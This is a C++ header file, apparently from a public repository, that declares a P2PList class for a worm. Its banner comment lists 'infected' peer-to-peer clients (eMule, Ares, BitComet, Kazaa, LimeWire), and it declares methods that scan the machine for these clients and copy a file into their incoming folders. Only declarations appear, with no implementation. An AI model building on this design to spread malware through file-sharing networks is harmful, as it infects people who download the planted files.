-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathP2PList.h
46 lines (41 loc) · 1.61 KB
/
P2PList.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <iostream>
#include <stdlib.h>
#include <direct.h>
#include "P2P.h"
#include "P2PEmule.h"
#include "P2PAres.h"
#include "P2PBitComet.h"
#include "P2PKazaa.h"
#include "P2PLimeWire.h"
#include "WINRegistry.h"
#include "FunctionsStrings.h"
#include "NetBios.h"
#include "FunctionsFiles.h"
#define NUMP2P 10
#pragma once
/* #############################################################
## INFECTED P2P APPLICATIONS ##
## ##
## [ + ] eMule - Extension eDonkey P2P App ##
## [ + ] Ares - Origin Gnutella ##
## [ + ] BitComet - BitTorrent Protocol ##
## [ + ] Kazaa - FastTrack Protocol ##
## [ + ] LimeWire - P2P Gnutella Client Network ##
## ##
############################################################# */
class P2PList {
private:
static P2P ** P2PSoftwareList;
static int numElems;
static unsigned int portSelected;
static bool inicialized;
public:
static void inicialize();
static bool scanP2PSoftwareLocalMachine(bool selectPort = false);
static bool copyFileToIncomingFolderHacking(const char * strFilename);
static bool copyFileToIncomingFolder(const char * strFilename);
static P2P ** getP2PSoftwareList();
static bool isInicialized() { return inicialized; }
static int getNumElems() { return numElems; }
static unsigned int getPortSelected() { return portSelected; }
};